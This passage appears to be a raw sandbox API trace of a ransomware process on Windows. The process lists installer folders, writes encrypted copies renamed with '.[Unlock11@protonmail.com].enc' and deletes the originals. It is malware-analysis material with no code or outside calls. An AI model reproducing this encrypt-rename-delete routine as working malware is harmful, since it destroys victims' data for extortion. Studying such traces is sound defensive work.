dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f72d0 [0113.867] GetLastError () returned 0x0 [0113.867] GetCurrentThreadId () returned 0x9b0 [0113.867] GetLastError () returned 0x0 [0113.867] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0113.868] GetLastError () returned 0x0 [0113.868] GetCurrentThreadId () returned 0x9b0 [0113.868] GetLastError () returned 0x0 [0113.868] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0113.868] GetLastError () returned 0x0 [0113.868] GetCurrentThreadId () returned 0x9b0 [0113.868] GetLastError () returned 0x0 [0113.868] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0113.868] GetLastError () returned 0x0 [0113.868] GetCurrentThreadId () returned 0x9b0 [0113.868] GetLastError () returned 0x0 [0113.868] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0113.868] GetLastError () returned 0x0 [0113.869] GetCurrentThreadId () returned 0x9b0 [0113.869] GetLastError () returned 0x0 [0113.869] FindNextFileA (in: hFindFile=0x10f72d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0113.869] GetLastError () returned 0x12 [0113.869] GetCurrentThreadId () returned 0x9b0 [0113.869] GetLastError () returned 0x12 [0113.869] GetLastError () returned 0x12 [0113.869] FindClose (in: hFindFile=0x10f72d0 | out: hFindFile=0x10f72d0) returned 1 [0113.869] GetCurrentThreadId () returned 0x9b0 [0113.869] GetLastError () returned 0x12 [0113.869] GetLastError () returned 0x12 [0113.869] GetLastError () returned 0x12 [0113.870] GetLastError () returned 0x12 [0113.870] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0113.870] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0113.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0113.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0113.871] GetLastError () returned 0x12 [0113.871] GetLastError () returned 0x12 [0113.871] GetLastError () returned 0x12 [0113.871] GetLastError () returned 0x12 [0113.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.871] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0113.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.871] GetCurrentThreadId () returned 0x9b0 [0113.872] GetLastError () returned 0x12 [0113.872] GetLastError () returned 0x12 [0113.872] GetLastError () returned 0x12 [0113.872] GetLastError () returned 0x12 [0113.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0113.872] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0113.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0113.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0113.872] GetLastError () returned 0x12 [0113.872] GetLastError () returned 0x12 [0113.873] GetLastError () returned 0x12 [0113.873] GetLastError () returned 0x12 [0113.873] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0113.873] GetCurrentThreadId () returned 0x9b0 [0113.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0113.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0113.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0113.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0113.873] GetCurrentThreadId () returned 0x9b0 [0113.873] GetLastError () returned 0x12 [0113.873] GetLastError () returned 0x12 [0113.873] GetLastError () returned 0x12 [0113.874] GetLastError () returned 0x12 [0113.874] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0113.874] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0113.874] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0113.874] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0113.874] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0113.874] GetCurrentThreadId () returned 0x9b0 [0113.874] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ced0 [0113.874] GetLastError () returned 0x0 [0113.874] GetLastError () returned 0x0 [0113.874] GetLastError () returned 0x0 [0113.875] GetLastError () returned 0x0 [0113.875] GetCurrentThreadId () returned 0x9b0 [0113.875] GetLastError () returned 0x0 [0113.875] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ced0 | out: hHeap=0x2ad0000) returned 1 [0113.875] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cb60 [0113.875] GetLastError () returned 0x0 [0113.875] GetLastError () returned 0x0 [0113.875] GetLastError () returned 0x0 [0113.875] GetLastError () returned 0x0 [0113.875] GetCurrentThreadId () returned 0x9b0 [0113.875] GetLastError () returned 0x0 [0113.876] GetCurrentThreadId () returned 0x9b0 [0113.876] GetLastError () returned 0x0 [0113.876] GetLastError () returned 0x0 [0113.876] GetLastError () returned 0x0 [0113.876] GetLastError () returned 0x0 [0113.876] GetCurrentThreadId () returned 0x9b0 [0113.876] GetLastError () returned 0x0 [0113.876] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cb60 | out: hHeap=0x2ad0000) returned 1 [0113.876] GetLastError () returned 0x0 [0113.876] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0113.876] GetLastError () returned 0x0 [0113.877] GetLastError () returned 0x0 [0113.877] GetLastError () returned 0x0 [0113.877] GetCurrentThreadId () returned 0x9b0 [0113.877] GetLastError () returned 0x0 [0113.877] GetLastError () returned 0x0 [0113.877] GetLastError () returned 0x0 [0113.877] GetLastError () returned 0x0 [0113.877] GetLastError () returned 0x0 [0113.877] GetCurrentThreadId () returned 0x9b0 [0113.877] GetLastError () returned 0x0 [0113.877] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a5a8 | out: hHeap=0x2ad0000) returned 1 [0113.877] GetLastError () returned 0x0 [0113.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0113.878] GetLastError () returned 0x0 [0113.878] GetLastError () returned 0x0 [0113.878] GetLastError () returned 0x0 [0113.878] GetCurrentThreadId () returned 0x9b0 [0113.878] GetLastError () returned 0x0 [0113.878] GetCurrentThreadId () returned 0x9b0 [0113.878] GetLastError () returned 0x0 [0113.878] GetLastError () returned 0x0 [0113.878] GetLastError () returned 0x0 [0113.878] GetLastError () returned 0x0 [0113.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.879] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a)) returned 1 [0113.879] GetLastError () returned 0x0 [0113.879] GetCurrentThreadId () returned 0x9b0 [0113.879] GetLastError () returned 0x0 [0113.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0113.879] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366405c | out: pbBuffer=0x366405c) returned 1 [0113.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0113.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0113.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0113.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc78 [0113.879] GetCurrentThreadId () returned 0x9b0 [0113.880] GetLastError () returned 0x0 [0113.880] GetLastError () returned 0x0 [0113.880] GetLastError () returned 0x0 [0113.880] GetLastError () returned 0x0 [0113.880] GetCurrentThreadId () returned 0x9b0 [0113.880] GetLastError () returned 0x0 [0113.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc78 | out: hHeap=0x2ad0000) returned 1 [0113.880] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce30 [0113.880] GetLastError () returned 0x0 [0113.880] GetLastError () returned 0x0 [0113.880] GetLastError () returned 0x0 [0113.881] GetLastError () returned 0x0 [0113.881] GetCurrentThreadId () returned 0x9b0 [0113.881] GetLastError () returned 0x0 [0113.881] GetCurrentThreadId () returned 0x9b0 [0113.881] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce30 | out: hHeap=0x2ad0000) returned 1 [0113.881] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6c08 [0113.881] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0113.881] GetLastError () returned 0x0 [0113.881] GetLastError () returned 0x0 [0113.881] GetLastError () returned 0x0 [0113.881] GetLastError () returned 0x0 [0113.881] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0113.881] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d08 [0113.882] GetLastError () returned 0x0 [0113.882] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.882] GetFileType (hFile=0x39c) returned 0x1 [0113.882] GetLastError () returned 0x0 [0113.882] GetCurrentThreadId () returned 0x9b0 [0113.882] GetLastError () returned 0x0 [0113.882] GetFileType (hFile=0x39c) returned 0x1 [0113.882] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.882] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.882] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.883] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.883] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.883] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.883] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.883] GetLastError () returned 0x0 [0113.883] GetCurrentThreadId () returned 0x9b0 [0113.883] GetLastError () returned 0x0 [0113.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0113.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0113.883] GetLastError () returned 0x0 [0113.883] GetLastError () returned 0x0 [0113.883] GetLastError () returned 0x0 [0113.883] GetLastError () returned 0x0 [0113.884] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.884] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c18 [0113.884] GetLastError () returned 0x0 [0113.884] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.886] GetFileType (hFile=0x3ac) returned 0x1 [0113.886] GetLastError () returned 0x0 [0113.886] GetCurrentThreadId () returned 0x9b0 [0113.886] GetLastError () returned 0x0 [0113.886] GetFileType (hFile=0x3ac) returned 0x1 [0113.886] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.886] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.886] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.886] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.886] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.886] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.886] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.886] GetLastError () returned 0x0 [0113.887] GetCurrentThreadId () returned 0x9b0 [0113.887] GetLastError () returned 0x0 [0113.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c18 | out: hHeap=0x2ad0000) returned 1 [0113.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2880 | out: hHeap=0x2ad0000) returned 1 [0113.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0113.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.887] GetLastError () returned 0x0 [0113.887] GetLastError () returned 0x0 [0113.887] GetCurrentThreadId () returned 0x9b0 [0113.887] GetLastError () returned 0x0 [0113.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0113.887] GetLastError () returned 0x0 [0113.888] GetLastError () returned 0x0 [0113.888] GetCurrentThreadId () returned 0x9b0 [0113.888] GetLastError () returned 0x0 [0113.888] GetLastError () returned 0x0 [0113.890] GetLastError () returned 0x0 [0113.890] GetCurrentThreadId () returned 0x9b0 [0113.890] GetLastError () returned 0x0 [0113.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c08 | out: hHeap=0x2ad0000) returned 1 [0113.890] GetCurrentThreadId () returned 0x9b0 [0113.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.890] GetLastError () returned 0x0 [0113.891] GetLastError () returned 0x0 [0113.891] GetLastError () returned 0x0 [0113.891] GetLastError () returned 0x0 [0113.891] GetCurrentThreadId () returned 0x9b0 [0113.891] GetLastError () returned 0x0 [0113.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0113.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0113.892] GetLastError () returned 0x0 [0113.893] GetLastError () returned 0x0 [0113.893] GetCurrentThreadId () returned 0x9b0 [0113.893] GetLastError () returned 0x0 [0113.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.894] GetLastError () returned 0x0 [0113.894] GetLastError () returned 0x0 [0113.894] GetCurrentThreadId () returned 0x9b0 [0113.894] GetLastError () returned 0x0 [0113.894] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3c5f) returned 0x36f8548 [0113.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.894] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3c65) returned 0x36f8548 [0113.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6ce8 [0113.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c18 | out: hHeap=0x2ad0000) returned 1 [0113.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3c68) returned 0x38273e0 [0113.895] GetCurrentThreadId () returned 0x9b0 [0113.895] GetLastError () returned 0x0 [0113.895] GetLastError () returned 0x0 [0113.895] GetLastError () returned 0x0 [0113.895] GetLastError () returned 0x0 [0113.895] GetCurrentThreadId () returned 0x9b0 [0113.895] GetLastError () returned 0x0 [0113.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0113.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0113.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0113.895] GetLastError () returned 0x0 [0113.896] GetLastError () returned 0x0 [0113.896] GetCurrentThreadId () returned 0x9b0 [0113.896] GetLastError () returned 0x0 [0113.896] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.896] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.896] GetLastError () returned 0x0 [0113.896] GetLastError () returned 0x0 [0113.896] GetCurrentThreadId () returned 0x9b0 [0113.896] GetLastError () returned 0x0 [0113.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.897] GetLastError () returned 0x0 [0113.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.897] CloseHandle (hObject=0x3ac) returned 1 [0113.897] GetLastError () returned 0x0 [0113.897] GetCurrentThreadId () returned 0x9b0 [0113.897] GetLastError () returned 0x0 [0113.897] GetLastError () returned 0x0 [0113.898] CloseHandle (hObject=0x39c) returned 1 [0113.898] GetLastError () returned 0x0 [0113.898] GetCurrentThreadId () returned 0x9b0 [0113.898] GetLastError () returned 0x0 [0113.898] GetLastError () returned 0x0 [0113.898] GetLastError () returned 0x0 [0113.898] GetLastError () returned 0x0 [0113.898] GetLastError () returned 0x0 [0113.898] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0113.900] GetLastError () returned 0x0 [0113.900] GetCurrentThreadId () returned 0x9b0 [0113.900] GetLastError () returned 0x0 [0113.900] GetCurrentThreadId () returned 0x9b0 [0113.900] GetLastError () returned 0x0 [0113.900] GetLastError () returned 0x0 [0113.900] GetLastError () returned 0x0 [0113.900] GetLastError () returned 0x0 [0113.900] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1029\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0113.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0113.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0113.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0113.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0113.901] GetCurrentThreadId () returned 0x9b0 [0113.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0113.901] GetLastError () returned 0x0 [0113.901] GetLastError () returned 0x0 [0113.901] GetLastError () returned 0x0 [0113.901] GetLastError () returned 0x0 [0113.901] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0113.902] GetLastError () returned 0x0 [0113.902] GetCurrentThreadId () returned 0x9b0 [0113.902] GetLastError () returned 0x0 [0113.902] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0113.902] GetLastError () returned 0x0 [0113.902] GetCurrentThreadId () returned 0x9b0 [0113.902] GetLastError () returned 0x0 [0113.902] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0113.902] GetLastError () returned 0x0 [0113.902] GetCurrentThreadId () returned 0x9b0 [0113.902] GetLastError () returned 0x0 [0113.902] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0113.902] GetLastError () returned 0x0 [0113.903] GetCurrentThreadId () returned 0x9b0 [0113.903] GetLastError () returned 0x0 [0113.903] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, 